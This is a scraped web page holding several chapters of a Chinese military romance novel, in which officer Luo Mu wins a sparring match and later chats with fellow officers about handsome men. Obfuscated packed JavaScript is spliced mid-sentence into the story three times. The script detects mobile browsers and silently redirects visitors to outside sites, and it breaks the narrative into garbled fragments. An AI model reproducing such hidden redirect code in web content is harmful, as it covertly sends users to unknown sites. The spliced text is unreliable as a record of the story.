“错了,我一向谦卑,尤其对于宇宙。”洛暮望着杏花下林晖美丽的绿色眼睛,微笑着反驳。 不,洛暮。 林晖心想,你难道没发现吗,你在精神这方面其实傲慢得不可理喻。 怎么有人能在宇宙中始终如一呢?人在时光中都不可能始终如一。而你坚信并宣称自己不会改变,难道不是傲慢吗? 他们没再说话,洛暮去摘树上完好的花朵,她要把它们夹进书里。洛暮说这是为了惊喜,随便夹到一本书里,然后忘掉它。等到多年后不经意翻开,你会发现那年春天留下的一点凭证,这感觉多浪漫。 林晖效仿了这种有点幼稚的行为。洛暮总是能想出许多稀奇古怪的点子,最奇怪的是他居然每次都照做了。 后来林晖整理旧书,随手翻阅新历123年的战术笔记,里面突然跌落出几朵枯萎的杏花。最初他以为飘下的是一些纸屑,但当他辨认出它们究竟是什么东西后,向来冷静的他完完全全怔住了。 他发现自己再次被那位远在阿德尔玛的敌人欺骗了,这一点都不浪漫。 林晖挥手制止那些守在旁边随时要为殿下效劳的侍从,蹲下身去捡拾这些花朵,但在漫长时光中已经失去所有水分与颜色的它们一触即碎,倏忽隐去在细密厚实的地毯里。 赛德还在抱怨,他的咒骂似乎止不住了,领域从洛暮和三连扩大到李秋阳和一连。最后二连也没放过,他把冯·莱恩和另一位队长一起骂了,中途夹杂着对二连几个女兵的狎昵。 洛暮对此兴致索然,听到后面她甚至有些可惜自己没抽到赛德做对手,否则一定让他这辈子都对格斗产生阴影。 奥利弗显然也受够了自己这位同僚,他礼貌地提出要回训练场,二人的脚步就往洛暮这边迈进。 洛暮淡定地跨过草丛,走到绿化带的另一边去。她不担心会被发现,他们离洛暮的位置其实很远,她能听到只是因为听力好得出奇。 等奥利弗和赛德走远,洛暮特意隔了一会才返回训练场。 三连在最里面,她走过去难免会经过一连,李秋阳看到了她。这下走不成了,他们开始交流格斗的事项。 “你和奥利弗抽到了第二组。”李秋阳告知她。 格斗的顺序是随机的,这个次序很靠前,洛暮非常满意。这意味着她打完后可以优哉游哉地欣赏其他人的格斗,讲究一种置身事外的超脱潇洒。她问:“你呢?” “在你们后面,第三组。”李秋阳耸肩,他很怀疑这个抽签顺序的随机性,裁判组真的不是把重头戏都放在前面了吗。 洛暮笑得不行,她问:“所以谁是第一组?” 李秋阳拍了下身边的艾克斯,洛暮视线跟着落到他身上。 见洛暮在看他,这个灰紫色眼眸的军官立刻脸红了。他本来一直绞尽脑汁想找点话题的,现在却一句话也说不出。 洛暮问:“艾克斯抽到的对手是谁?” 三连连长主动发问,艾克斯精神一振:“是二连的赛德。” 太可惜了,赛德居然没让白越或者布莱尔抽到,不然洛暮一定嘱咐他们给那小子点颜色看看。艾克斯是一连的人,她不可能说你 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她是个金发灿烂的姑娘,眼睛又是琥珀色的,肤色红润。这些色彩令她具备一种温暖的气质,再加上标致的五官,完全是位不折不扣的美人。美人不缺乏追求者,洛暮记得艾莉有男朋友,但不是军队的人。 洛暮很乐意回答艾莉的话,她说:“我猜是布莱尔。” “对,就是布莱尔。那我要问问了,”艾莉歪头看她,“洛暮连长到时候会偏心我们哪一个?” 洛暮心说坏了,这种问题怎么答,她能说我谁都不偏心全看你们实力吗。但艾莉已经狡黠地笑起来,她为刚刚小小的刁难而愉悦:“不用表态,洛暮连长要为我们两个都加油。” “好的,我那时候一定会在底下喊得超级卖力。”洛暮一口应承下来,她看看手环,“不能再说了,离开连队时间有点久,我这就回去。” “也是,你刚才出去了很久呢。”艾莉点头。 本来能早点回来,那不是中途去听人家墙角了吗。洛暮笑道:“走了,期待格斗时大家的表现。” “好的,洛连长慢走。我们就不收你过路费了,也不派人护送你了。”李秋阳直接免掉起身相送这个步骤,只是笑着对洛暮挥手。 真是够了,李秋阳爱开玩笑的习惯完全和他稳重的气质不匹配。洛暮觉得他还是刚熟悉那会比较端庄,说话做事都是位模范军官,看着就值得信赖。 现在,呵,现在他已经在打趣诸位同僚的路上一去不复返了。但没办法,军营这么枯燥,少数的乐趣不就是和战友们在一起才能得来吗? 所以洛暮也喜欢开玩笑。 艾克斯还想多说点什么,但他面对洛暮实在有点拘谨。等他终于鼓起勇气想再开口的时候,洛暮已经走远了,他只好怏怏地看着洛暮的背影。 其他几人压根不懂艾克斯的心事,可能是他们自己也有心事。没人陪她说话后的艾莉突然叹了口气,没精打采地坐下来。但她很快又活跃起来,仿佛非要找个事情操心一样:“艾克斯,格斗就要开始了。走,去热热身。” 射击区的工作已经在收尾了,裁判们交头接耳地统计成绩。负责收拾场地的一连士兵开始忙碌,他们马上要腾出一片空地,用作接下来的格斗测试。 “格斗你最期待哪一场?”一个士兵搬起箱子的一角,顺口问对面的同伴。 “连长那场,还有洛连长那场。行啦,赶紧忙完这些,马上就可以看了——一,二,三,起!” 35.薄荷香(二) 格斗第一组是艾克斯和赛德。 艾克斯虽然看着清秀单纯,但格斗起来凶狠精准。正如他说的那样,赛德在他面前只有防守的力气,三个回合下来,赛德的分数丢得一塌糊涂。 吴肖利没料到艾克斯的格斗术这么强悍,他在洛暮身边听这场格斗的解析,顿感惭愧。 洛暮笑道:“感受到差距了?” “感受到了。”吴肖利老老实实地说。 “之前还说人家艾克斯柔弱,现在觉得呢?” “放过我吧,连长。我知错了。”吴肖利大窘,换成他上去可能一回合都坚持不下来。 “没说你错嘛。艾克斯军校出身,有那么多年的训练,你才当兵多久?半年前还是个学生,不如他很正常。接下来多锻炼就好,你比前段时间已经强了不少。” “真比以前强了吗?我其实也这么觉得,这段时间我很努力的。”吴肖利笑了。 “看得出来你很努力。”洛暮一边鼓掌一边起身,“他们分出胜负了,那接下来就轮到我努力了。” 台上,裁判宣读了比赛结果,艾克斯毫无悬念地赢得胜利。他的表情不复刚才的镇定,看起来有点局促和腼腆,像是不习惯暴露在众人的目光下。 他悄悄地往三连的方向看了一眼,没有找到洛暮。她应该已经去候场了。 赛德走下台,撞见候场的奥利弗。对方显然也看完了全场,劝慰他:“现在先别回连里,免得挨连长的骂。” “我当然知道。”赛德闷闷地说。他输给了艾克斯,虽然已经有心理准备,但败局这么惨烈还是出乎他的意料。他说:“奥利弗,就看你的了,你可不要怜香惜玉,给他们点颜色看看。” “我知道。不然二连的表现就太难看了。”奥利弗平静地说。 第二组果然是观众热情最高涨的一组。周霖刚宣读完洛暮和奥利弗名字,底下就传来阵阵欢呼。 “好激动,怎么感觉比我自己上台还激动!”布莱尔双手握拳放在胸前,“连长!加油!” “感觉像在看球赛直播一样。嘿,前面的人不要把头昂那么高,我要看不到连长了。”有士兵喊道。 吴肖利觉得自己太英明了,他来找洛暮说话,连长自然就让他坐在第一排。这个位置战局一览无余,位置好得叫其他战友眼红,恨不得把他掀下去以身代之。 两位军官上场。 吴肖利沉默。他心说平时看不出来,但这样子光明正大地站到一起时……连长你看着真的好小。 奥利弗是个红发碧眼的英挺男子,作战服下他流畅的肌肉线条若隐若现,预示着强大的爆发力。而洛暮……是的,尽管她体魄强健训练有素,但在奥利弗的衬托下还是有些过于纤细了。 “完啦,连长只有人家一半大。”高余偷偷摸摸地挤到吴肖利身边,忧虑地说。 “完你个头,我相信连长。”吴肖利握紧了拳头,他没说自己其实也很担心。 场上,奥利弗面带微笑,看上去很自信。洛暮却罕见地面无表情,按理说以她的作风无论如何都会向对手笑一下的,现在的她就显得有些凝重了。 两人气势的差异让场面迅速冷寂下来,偌大的训练场一时只听得见呼吸声。 哨声响起,格斗正式开始。 与上一场不同,洛暮和奥利弗没有在哨声后立刻行动。 他们保持着距离,像是两只野兽互相审视,只要看到一点破绽就会扑上去。那时猎手和猎物的身份就会撕破,暴力和血腥成为主角。 “洛暮连长,很荣幸作为你的对手。”奥利弗说。 他慢慢地移动,同时身体摆出进攻前的准备架势。他在体格上占有巨大优势,两人的差异就像狮子与羚羊。这样的对峙会让弱势的那方产生强烈的压力,他力图通过这种方式在心理上战胜洛暮。 洛暮沉默着,她不回答。奥利弗的试探在她这里石沉大海。她只是盯着奥利弗的动作,身体随着他的移动而改变防御的方向,神色冷峻。 平静是遮掩内心最好的方法。奥利弗不知道自己是否震慑住了洛暮,她黑色的眼睛沉寂如井,投进去的石子激不起水花,只有幽幽升起的泡沫,深沉得令人恐惧。 后人皆称赞洛暮元帅犀利深沉的黑色眼睛,他们说正是这双眼睛穿透了前文明数百年的迷雾,越过扭曲折叠的时空,在那片神奇的绿洲捕捉到了人类文明的一线生机。 现在洛暮的眼睛还不像后世记载的那样令人望而生畏,但也足够有压迫感了。 奥利弗不敢说再对视下去疯掉的人会是他。拖延毫无用处,威吓也毫无用处,那就借助力量和速度压制住她! 他的攻击猛烈得真像头野兽,速度又快如流星。台下传来惊呼声,但洛暮无动于衷。在拳风即将到来时她猛地下蹲,轻盈地躲过,随后抬肘挡开奥利弗的鞭腿,退后一步。 接下来的场面完全是一边倒,奥利弗进攻,洛暮闪避。她在对手迅疾的拳风腿影中穿梭自若,尽量避免任何正面交锋。 这让奥利弗松了口气,眼下的场面完全符合他对洛暮的判断: 她在绝对的力量压制下只能躲避来寻找破绽,力量的差距又注定她不可能造成对奥利弗实质性的打击,洛暮拼尽全力能做到的只有输得不那么难看。 三连当然已经没法呼吸了,从军官到战士俱是身体前倾双手握拳放于膝盖,脊背紧绷得仿佛一座座雕塑。 一连也没好到哪去。艾莉咬着唇不说话。艾克斯神色焦灼,他觉得这场比试抽到的签也太扯淡了,体型和力量之间的差异很难被技巧弥补,洛暮的敏捷出乎他所料,但只要等到她力气耗尽,就不可能有任何翻盘的机会。 他看看自己的连长,李秋阳脸上终于没有笑容了,他紧皱眉头,艾克斯觉得连长可能心里正在问候裁判。 和台下人相比,洛暮的镇定显得格外可贵。她维持着防守的姿态,谨慎地闪躲,同时面无表情。好像来势汹汹的对手根本没给她造成困扰。 奥利弗这边比洛暮焦灼多了,可以理解,进攻的人总比防守的人更想取得胜利。洛暮滑溜得跟条鱼一样,防守滴水不漏,他迟迟无法拿下。 必须要打破这个僵局,奥利弗心想。 僵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15188516|163726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 局下一秒就被打破了。 洛暮偏头闪开奥利弗的一拳,在这个瞬间她抓住对方的手臂,猛地发力把他拉近身前,她的右拳同时打出,狠狠地击中奥利弗的侧肋。 洛暮回击的时候奥利弗没有在意,因为进攻就意味着她此刻没有防御,他反应过来后只需要一击就可以…… 他的五脏六腑剧烈地震痛,在洛暮那一拳下护具仿佛成为了摆设,他就像被几百斤重的铁锤撞击一样,猛地飞出三四米,踉跄了几步才能稳住身形。 怎么可能有这样的力气! 奥利弗第一反应是去捂住右肋,那里疼得让他以为护具失去了效力。但理智让他惊醒过来,立刻后撤拉开距离,同时摆出防守的姿态,免得在洛暮的乘胜追击下一败涂地。 但洛暮没有,本该抓住时机猛攻的她停住了,做了一个令所有人都迷惑不解的动作。 她站直身体,刚刚打出右拳还停在原地。 此刻她摊开右手,手心向上,双目注视掌心。洛暮用力合上手掌,像是要把什么东西牢牢攥住一样。 她抬眼看向呈现防备状态的奥利弗。 这目光令奥利弗微微一颤。他忽然意识到自己之前的一切也许都是误判,洛暮那并不是在防守,她只是在热身。 现在她的目光是那么冰冷,那么的……骄傲料峭。 她的内心和外貌其实并不相配,你只有看着她的眼睛时才能知道这个人拥有多么灼热的强大的力量。那根本不是什么无波的古井,而是火山口的雪池,她的冰冷只是掩饰,底下翻涌是岩浆和热浪! 攻防转换就在一个瞬间。 洛暮一改之前的节奏,她不再保守,这次步步紧逼的人成了她。军校中习得的所有进攻方式被她流畅地使出,不需要思考,它们早就融进了洛暮每次完美的打击之中。 这简直不像格斗,更像是一场大型的示范。洛暮正在为所有人展示她精湛的格斗术,它们都是这个军官在望渊的训练场上孤独练习出来的,那些年她其实非常渴望能有一个对手。 场上的两人强硬地拳脚相撞,奥利弗此刻终于明白什么叫做铜头铁臂钢筋铁骨。 与洛暮的每一次交锋都让他被打击的部位隐隐作痛。他赛前的威慑和判断此刻都变得无比可笑。洛暮不需要避开他的锋芒,也不需要运用什么技巧,真相是这个人仅凭力量就能让他难以招架! 台下一片沸腾,突如其来的转变令所有人措不及防。完全没料到两人会出现势均力敌的局面,这无疑是最让人兴奋的。 悬念与激动让底下人大喊起两人的名字,三连和二连不同的呐喊声势同水火,每个人都铆足劲要压过对方。 “连长!连长!”三连的士兵狂呼狂叫,神情陶醉疯狂好像集体酗酒了一样。 “奥利弗!奥利弗!”喊队长显然职位上就输三连一筹了,二连选择喊名字。 裁判席的所有人都站起来了,他们伸长脖子盯着那两位军官,这应该是他们军旅生涯中见到最牵动人心的一场格斗。没人舍得说话,但他们好像都听到了谁人在摇头晃脑地说:精彩,精彩。 36.薄荷香(三) 台上的缠斗还在继续。只要不是傻子都能看出洛暮渐渐处于上风,她每个动作都游刃有余,神色一如既往的镇定。 通俗点说就是颇具高手风范,高手,往往是气定神闲的。 长时间的僵持后,洛暮虚晃一脚,这个动作让奥利弗的防守出现了空档。她借机压低重心,精准地锁住奥利弗的右臂,一个屈膝顶在他的腿上。 “差不多了,洛暮没问题的。”李秋阳自洛暮反攻后神色就淡然了许多,现在他重新露出微笑。 “不愧是洛连长。”艾莉也长舒一口气。 奥利弗一下子失去平衡跌倒在地,他的反应还是很迅速。在地上打了个滚试图摆脱洛暮站起来。 但洛暮比他更快一步,她扑上去紧紧压住他的身体,采用的正是军校里所教授的“锁”的技巧。奥利弗之前曾遭遇过这种情况,但从来没有像现在这样吃力。他觉得自己如同被一座大山压住,喘气都很困难。 僵持十几秒后,奥利弗拍了拍地面,表示认输。 两位裁判早就在一旁守着了,其中一位直起腰对众人宣告结果,一位冲上去搀扶奥利弗。 但他还没靠近奥利弗,洛暮就先一步起身,随即猛地拉住奥利弗把他搀扶起来。 以为两人会势同水火的裁判愣在原地,不知道是该失落自己没派上用场,还是该为这个局面高兴。 “谢谢。”站稳后,奥利弗低声说。 这声谢谢不仅是因为洛暮的搀扶,还为了比试中洛暮的克制。奥利弗非常清楚,如果眼前这个人保持第一次反击中展露出来的力量,他绝不可能安然无恙地站在这里。 洛暮点点头,没有表情,心流状态中的她凛然得像座石雕的神像。 与肃穆神情相反的是她的动作,这位军官面对奥利弗,伸出右拳。奥利弗愣了一下,对上洛暮的眼睛后,他忽然也伸出右拳。 二人重重地碰拳。洛暮说:“这是一场友好的比试,不是吗?” “是的,很荣幸做你的对手。”奥利弗不知不觉说出和开场时一模一样的话。 “我也很荣幸。”洛暮说。 从头到尾她的神色都很平静,表现出一种胜不骄败不馁的沉着。 奥利弗一眨不眨地望着她。他知道三连的连长是个刚刚毕业的学生,要说之前完全没有轻视是不可能的。经验这东西的存在,总是会让年长者产生优越,进而派生出傲慢。 也许还是个孩子……这些曾在他心中一闪而过的念头突然变得无比可笑。如果洛暮都被看做孩子了,那一营的所有人就可以收拾收拾重返幼儿园。 奥利弗突然很庆幸他和洛暮有这样一场比试,他们可能还做不成朋友,但至少隔阂消弭了大半。 洛暮很坦然地任他打量,报之以微微一笑。 这已经是她目前能做出最友好的表情。热情不足,但温和真诚,令她年轻的脸上显示出一种庄重的气度。 而奥利弗是能大笑的,他很快回了洛暮一个热情洋溢的笑容。两人极具风度的举止和融洽的氛围令所有观众叫好起来。 三个连都在鼓掌,他们忽然就变成了一个整体,至少在这短短的瞬间里没人想着压其他连队一头。毕竟他们中的佼佼者已经握手言和,释放出友好的信号。 周霖笑容满面地点头,心说这才像个样子嘛。他不可能说自己根本没能力解决营里的矛盾,幸好现在他们已经有了互相欣赏互相配合的迹象。 洛暮回到三连,就像是一滴水落到油锅一样,整个连沸腾了。 布莱尔摸摸她的手,问:“连长,用那么大力气没受伤吧。” 洛暮摇头,但布莱尔还是把她上上下下检查了一遍。确认连长真的完好无损后,她去给洛暮拿葡萄味能量饮料了。 白越眉眼焦灼地说:“连长,虽然知道你一定会赢,但中途还是很紧张的!” 洛暮心说不要以为我没看到台下你如丧考妣的神情,你明明中途就很动摇好吧,这个“一定会赢”从何而来啊? 吴肖利欢呼雀跃:“不愧是连长,你打我的时候我就知道你格斗超棒,肯定能行!” 呵,不知所云。你连长我什么时候打过你,那分明是格斗课上友好的指点,搞得我像是一个非常可恶的封建大家长。 潘恩面带崇拜地说:“连长,这下其他连也心服口服了。” 哪有什么其他连,主要就是二连吧。其实奥利弗的格斗术很好,他倒霉就倒霉在撞上洛暮,一败涂地。 只能是有时候选择大于努力,他打白越肯定就英姿飒爽了。 洛暮在回来的路上已经慢慢从心流状态中抽身,她坐下来休息,手指用力地揉着额头,缓解心流带来的剧痛。 现在人多,洛暮不想把清凉油拿出来,否则这群人一定会小题大做到搜罗出市面上所有的头痛药,直呼为连长分忧。 “连长累了吗?”布莱尔拿着饮料回来,她注意到洛暮怏怏的神色。 “还好,身体不累,心累。”洛暮随口说。 周围的战士们都笑了。 下一场格斗同样受人瞩目。李秋阳和冯·莱恩,两位连长的比试。 洛暮潇洒地作壁上观,所谓先苦后甜不外乎此,现在全场最悠闲的人一定是她。 比起上一场的一波三折,李秋阳和冯·莱恩倒是非常稳定,稳定地不相上下。第一回合你胜我一筹,第二回合我输你半招。 “这是在打假赛吗?”洛暮幽幽地说,两人未免太过势均力敌了。 她观察到冯·莱恩的军事素质确实不错。洛暮在心中比较一下,觉得他跟奥利弗综合素质应该是不相上下,但奥利弗在二连的呼声可比冯·莱恩这个连长高多了。 那么问题来了,究竟是何等的骄傲才能让冯·莱恩把人得罪到这个地步?洛暮心想。 大家对他避之唯恐不及,虽然这也算一种本领,但有时候冯·莱恩站在自己的连队里都显得孤零零的,让人看着颇为唏嘘。 这场格斗最后的结果是冯·莱恩险胜李秋阳。 他们胶着了很久,分出胜负后观众都麻木了,只想让他们赶紧下台换下一组,毕竟文似看山不喜平,格斗同理。 结果公布后,李秋阳还有心情和冯·莱恩碰个拳。二连连长神色错愕,碰完后愣在台上半天。李秋阳早就潇洒地下台了,他没有第一时间回一连,反倒绕路来了三连。 “你又来串门?”洛暮见到他,立刻身体后仰表示警惕。 “收留我几分钟,现在回去好尴尬。”李秋阳熟门熟路地找位置坐下。 洛暮看他一眼,没从这人脸上找到他说的尴尬:“何以见得?” “谁规定尴尬就要写在脸上,我心里尴尬不行吗?我输掉了比赛,你作为战友却不宽慰我,还在这挑刺赶人。”李秋阳笑道。 “你这样子哪里需要宽慰了。而且在我看来二位连长势均力敌,水平都差不多。” “我知道,你是想说和你都差很多。”李秋阳戏谑道。 “我要送客了。”洛暮面无表情地说。 “别急着赶我,我话还没说完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15206220|163726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”李秋阳坐在那稳如泰山,丝毫不怕洛暮的威胁,“你那场真的很精彩,到后面我觉得你哪里是在比试,完全就是在炫技嘛。小洛,帅呆了,我其实是专程来表达一下我的赞赏。” 洛暮立刻沉默。 “怎么不说话?”李秋阳笑问。 “我……哎呀,这真是……谢谢秋阳兄?” 洛暮听到这种真心实意的称赞就不知道如何是好,尽管她从小就在各类赞誉中长大。可能让她觉得不好意思的并非是赞誉,而是真诚。 李秋阳早就发现洛暮这个特点,他觉得很好笑:“自信点,这种称赞你以后只会听到越来越多,我提前让你适应一下。小洛,不,洛连长。你该像我这样,输掉了也还很自信。” 洛暮心说我自信和我羞涩是不冲突的好吗。 但李秋阳还真说对了,洛暮一直觉得他身上有种“我输得起”的自信。 这种自信的养成很不容易,家里人的支持和自身的本领都是必要条件。洛暮在望渊见到很多二者只有其一的人,他们要么极度自负,要么极度自卑。 洛暮想到这就笑了:“既然这样我就要问问了。秋阳兄,你对你这场作何感想,我要听实话。” “实话就是非常满意。这样每个连都算赢了一场。不然二连岂不是连输三场?赛德奥利弗冯·莱恩,那样也太惨烈了。”李秋阳笑着起身,他拿起洛暮身边一瓶未开封的能量饮料,“行啦,该夸的已经夸了,我准备回去。小洛,顺你们连一瓶饮料。” “随便拿。”洛暮真的被他的洒脱惊呆了,“你这该死的大局观,我还能说什么呢……即刻提拔为少将!” 相较于李秋阳,冯·莱恩那边的反应就激烈得多。 二连连长为扳回一局感到由衷的喜悦,同时他也终于有闲情逸致清算旧账了。 第一个遭殃的就是奥利弗。他是二连公认的精锐,结果折戟沉沙在了洛暮手里,在冯·莱恩看来这简直是奇耻大辱不可饶恕。 “我简直不明白下半场你在打什么,输给一个还没你肩膀高的小女孩,滑天下之大稽。”冯·莱恩冷冷地说。 奥利弗闷不做声。 他很想说要不你去体验一下,人家洛暮在格斗这方面的造诣可以让所有军人道心破碎。 赛德最擅长揣摩人心,他见缝插针在冯·莱恩面前地说了几句诋毁三连连长的话,本以为能投其所好,但还没说完就遭到对方狠狠的训斥。 “少说点捕风捉影的话!尤其是……”冯·莱恩居高临下地看着赛德,面色如铁,“用私生活去揣测一位女性,而她还是一名军人,一个职务高于你的上级!你说这些意欲何在,证明你的无耻和无能吗?” 没料到冯·莱恩会说出这样的话,赛德和奥利弗全愣住了,前者不知所措,被一番劈头盖脸的责骂砸得晕头转向。后者则是被抢了台词,一下子无话可说。 冯·莱恩从来不把他们的反应放在眼里,他只是自顾自地说:“没有下次,别让我再听到这种卑劣且拙劣的攻击。滚!找个地方洗洗你那龌龊的脑子。” 赛德傻眼了,他还没来得及滚,冯·莱恩却已经迈步离去。临走前这位连长看了赛德一眼,那是极尽轻蔑的一瞥。 奥利弗觉得自己读懂了冯·莱恩的眼神,或者说他隐隐约约能感受到冯·莱恩一直没说出来的那句话: 我为什么会和你们为伍? 让二连发生争执的对象这会已经不在训练场上了。她被刚刚格斗结束的艾莉和布莱尔一人架住一条胳膊拎出了训练场。 37.薄荷香(四) “我告你们绑架。”洛暮象征性地呼救了几声。 “谁能绑走你呀洛连长。我们找个地方聊天去,后面没我们的事情,坐在那也无聊。”艾莉笑眯眯地说。 “聊天还专门换个场地,这也太形式主义了吧。”洛暮吐槽。 “因为训练场上太闹腾啦,聊什么都不尽兴不方便。”艾莉俨然是三人小组的领导者,她找到训练场边缘的一处台阶,招呼同伴坐下。 这个地方很不错,既不会受人打扰,连队那边有事情也可以迅速返回。 脱离了人群和喧闹,洛暮不由地放松下来,艾莉和布莱尔显然也是如此。三人踢踢腿甩甩胳膊,调整了几次姿势,最终懒洋洋地靠在一起。 “下午还有一场越野。”洛暮说。 “啊——好正经的话题。”艾莉叫起来,“不要聊军队之类的嘛,这些平时我们还没说够吗?” “好,好。换话题,那聊什么?”洛暮笑着点头。 “其实我也没想好……总之和李秋阳他们待着太无聊,只想找你们说话。”艾莉显然在一连憋坏了,她郁闷地提议,“洛连长,要不我和白越换一下,我来你们连,啊啊,和他们真是一点共同语言都没有。” “来!”洛暮欣然道。 “我一会就通知白越让他走人,他肯定也很向往一连,他和胡少均不是酒友吗?”布莱尔帮腔。 胡少均是一连一队的队长,和白越的关系既非患难之交也非刎颈之交,单单是酒肉之交。反正他们自己是这么说的。 “就这么定了。我马上给他说:白越,这个连没有你的位置了!”洛暮拍板。 她们都笑了,艾莉边笑边说:“也就你们会哄我了,快想想聊什么,话题!话题都丢出来!” “聊什么呀?”布莱尔去看洛暮,等着这个永远能找出话题的人开口。 洛暮惬意地舒展筋骨,显然很享受这忙里偷闲的时光:“想聊什么聊什么,光坐着不说话也很开心。要不躺在这睡一觉?” “连长!”布莱尔恼道。 “好好好。”洛暮连忙坐直,装出苦思冥想的样子,“聊什么呢,聊什么呢?” 艾莉忽然手一挥:“聊帅哥!” “喔——”其他两人发出惊叹,没料到艾莉如此豪放。 “这我就不困了。”洛暮唰得坐直了。 “我也有劲了。”搞了半天布莱尔也不像表面上那么含蓄嘛,怎么一说帅哥眼睛就炯炯有神。 “我连长帅不帅?”艾莉俨然成为节奏的把控者。 “帅。”布莱尔点头。 “帅的。秋阳兄属于阳光型帅哥,适合带回家见父母。”洛暮是专业型评价员。 “评价这么高吗,洛连长觉得他怎么样?你们关系很不错诶。”艾莉笑嘻嘻地打趣。 “是哦连长,你们关系确实很好。”布莱尔也笑起来。 “我对于李秋阳没有非分之想。”洛暮举起手表示清白。 “那……对谁有非分之想?我们营有没有你中意的?团里呢?艾克斯可爱吗?”艾莉步步紧逼。 果然,用一个话题打破彼此之间的矜持后,更多的话题就会泉水般涌出来。她们三个此刻都笑得很开心。 “艾克斯当然可爱,我把他当小孩呢。其他的话没有,没有……都没有!”洛暮边强调边祸水东引,“别光逼问我啊,布莱尔,问布莱尔。” “我也没有,打完仗前我不碰爱情。”布莱尔一身浩然正气,说实话她才配得上模范军官的称号,到哪都摆脱不了认真劲。 “哎呀,布莱尔太正经了,没意思。”艾莉推了一下布莱尔。她又问,“那洛连长再讲讲望渊军校嘛,望渊里面肯定有很多帅哥吧。” “公子哥们有什么好讲的,无趣得很。”洛暮笑了。 “我们可没怎么见过公子哥,当然要听。”艾莉突然想起了什么,“听说太子殿下也在望渊读书,洛连长见过吗?” 洛暮低头微笑:“算是见过吧。” “帅不帅!有媒体上宣传得那么帅吗?”布莱尔直切主题。 “我觉得比那个帅,不过有时候会觉得他太漂亮了,很不真实的感觉。” “居然比照片上的还帅吗?”布莱尔吃惊,她从手环中调出一张照片,展示给她们,“看!比这张还好看吗?我当时刷到后惊呆了,很喜欢他的绿色眼睛,专门保存下来。” “我看看。”艾莉凑过去,情不自禁地赞叹道,“确实很漂亮啊,他身边这个人是谁,感觉也很迷人。” “狄格特,是个讨女生喜欢的花花公子,他老爸是首相。这张照片应该是在德亚酒店顶层拍的,你看,后面是伊西多拉山,爬到山顶能看到整个阿纳斯塔西亚。”洛暮说。 “喏,洛连长这就叫专业。”艾莉调侃道。 洛暮轻轻地笑了。 她盯着照片,里面大部分人洛暮都能叫上名字,他们曾共同在那所军校里生活了三年,甚至有的人还和洛暮一起完成过小组任务。 洛暮其实和同学们的关系并不糟糕,她只是很少和他们来往,校园里偶遇后他们依旧会礼貌地点头问好,顺便吐槽几句老师布置的作业。如果她还留在阿纳斯塔西亚,他们大概会是同僚或者同事,下班后可以和和气气地聚餐聊天,互相约着开车去伊西多拉山兜风。 不得不说这张照片拍得很好,摄影师拍摄技巧非常高明。他显然没有愚蠢到让这群年轻人坐到一起对着镜头僵硬地微笑,这张照片里每个人的表情都生动得不可思议,姿态自然放松。 像是有谁突然呼唤了一声,所有人都纷纷回头。有人正端着蛋糕,有人在给自己倒茶,还有人摆弄着头发。他们惊讶地朝镜头投来一瞥,青春洋溢的脸上维持着最真实的表情。 洛暮看着照片里她最熟悉的那个人,他上一秒应该在侧头听狄格特说话,摁下快门的一瞬间青年淡然地看向镜头,像是早就预料到这个精巧的设计。 她觉得被镜头记录后的这双绿色眼睛,远远不及她曾亲眼目睹过的那般美丽富有灵气。洛暮对这双眼睛印象非常深刻,因为很多次眼睛的主人都神采奕奕地望着她,而她知道,但她不回头。 所以当布莱尔再次问出照片与真人的区别时,洛暮给了非常肯定的回答:“本人更好看。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15206221|163726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这句话换来了两个女孩的尖叫。 “你们有说过话吗?洛连长和他是不是同期?”艾莉追问。 “是同期。”洛暮把视线从照片上移开,去看军营里种的那些潦倒落魄的灌木丛,“但我们不熟。” “啊,可惜。他确实是个少见的贵公子,无可挑剔的外貌啊。”艾莉叹道,但她很快就自言自语道,“不过也没什么好可惜的。” “就是嘛。哪有那么多值得可惜的事,最可惜的不应该是排在你后面买彩票的那个人中了大奖么。”洛暮懒懒地闭上眼睛,“我只是没想到布莱尔还会存帅哥的照片,刚刚还浩然正气呢——打完仗前,我绝不碰感情!” 布莱尔咳嗽两声:“爱美之心,人皆有之,这个不冲突。帅哥,美食,景色,我都存。” 洛暮调侃:“平时我可看不出来,原来布莱尔是内秀型。来,让我看看还存了什么帅哥的照片,不要吃独食。” “什么鬼,连长不要笑我了!”布莱尔大叫起来。 “拿出来,拿出来。”艾莉附和道。 “没有了,没有了。”布莱尔扭捏地捂住手环。 “肯定有,肯定有。”洛暮把这个句式接下去。 布莱尔安静三秒,随即神秘一笑:“确实还有。” 洛暮真的是要重新认识自己这个二队了,但她还没来得及打趣布莱尔,却听对方问:“连长,你认识苏愈吗?” “又是他。”洛暮脱口而出。 “你们认识?也是,你们都是望渊军校出来的。”布莱尔眼睛一亮。 